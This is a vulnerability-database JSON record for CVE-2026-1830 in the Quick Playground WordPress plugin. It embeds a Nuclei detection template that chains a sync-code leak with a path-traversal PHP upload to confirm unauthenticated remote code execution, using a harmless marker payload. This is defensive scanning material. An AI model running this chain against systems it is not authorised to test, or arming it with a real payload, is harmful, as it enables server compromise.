{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-1830/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-1830/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-1830/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-1830/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-1830/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-1830"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-1830"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2026/CVE-2026-1830.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2026-1830\n\ninfo:\n  name: Quick Playground <= 1.3.1 - Missing Authorization to Unauthenticated Arbitrary File Upload\n  author: iamatownboy\n  severity: critical\n  description: |\n    The Quick Playground plugin for WordPress is vulnerable to remote code execution in all versions up to, and including, 1.3.1.\n    The plugin exposes a blueprint REST API endpoint (permission_callback: __return_true) that leaks the sync code, and an upload_image endpoint that accepts file uploads with path traversal in the filename parameter without sufficient authorization checks, which can be chained into arbitrary PHP file upload and RCE.\n  impact: |\n    Unauthenticated attackers can retrieve the sync code via the blueprint endpoint, upload arbitrary PHP files via path traversal in the upload_image endpoint, and achieve remote code execution on the server.\n  remediation: |\n    Update Quick Playground to version 1.3.2 or later.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-1830\n    - https://www.wordfence.com/threat-intel/vulnerabilities/id/308cd28a-a477-4bc6-a392-ad5a9eca1cb5?source=cve\n    - https://plugins.trac.wordpress.org/browser/quick-playground/trunk/api.php#L39\n    - https://plugins.trac.wordpress.org/browser/quick-playground/trunk/expro-api.php#L419\n    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3500839%40quick-playground&new=3500839%40quick-playground&sfp_email=&sfph_mail=\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-1830\n    epss-score: 0.08095\n    epss-percentile: 0.94834\n    cwe-id: CWE-862\n  metadata:\n    verified: true\n    max-request: 4\n    vendor: davidfcarr\n    product: quick-playground\n    framework: wordpress\n    publicwww-query: \"/plugins/quick-playground/\"\n  tags: cve,cve2026,wordpress,wp,wp-plugin,quick-playground,unauth,rce,file-upload,intrusive,vkev\n\nvariables:\n  filename: \"{{rand_text_alpha(8)}}.php\"\n\nflow: http(1) && http(2) && http(3) && http(4)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-content/plugins/quick-playground/readme.txt\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - contains(body, \"Quick Playground\")\n          - compare_versions(version, \"<= 1.3.1\")\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: version\n        part: body\n        group: 1\n        regex:\n          - '(?i)Stable tag:\\s*([0-9.]+)'\n        internal: true\n\n  - raw:\n      - |\n        GET /wp-json/quickplayground/v1/blueprint/default HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - '\"qckply_sync_code\"\\s*:\\s*\"[a-zA-Z0-9]+\"'\n        internal: true\n\n    extractors:\n      - type: regex\n        name: sync_code\n        part: body\n        group: 1\n        regex:\n          - '\"qckply_sync_code\"\\s*:\\s*\"([a-zA-Z0-9]+)\"'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-json/quickplayground/v1/upload_image/default HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"sync_code\":\"{{sync_code}}\",\"base64\":\"PD9waHAgZWNobyAiQ1ZFLTIwMjYtMTgzMCI7ID8+\",\"filename\":\"../../{{filename}}\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n          - contains(body, \"saving to\")\n        condition: and\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-content/{{filename}}\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n          - contains(body, \"CVE-2026-1830\")\n        condition: and\n# digest: 4a0a00473045022100e41c3477857e5e825b49afa8ecf798178c7bc5777f5eb1ecdd0f961d13749c9202205aa2076df11c17d0d02a111f23a391a0acf8c64530914a75c7b637b015885e21:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2026-1830"
}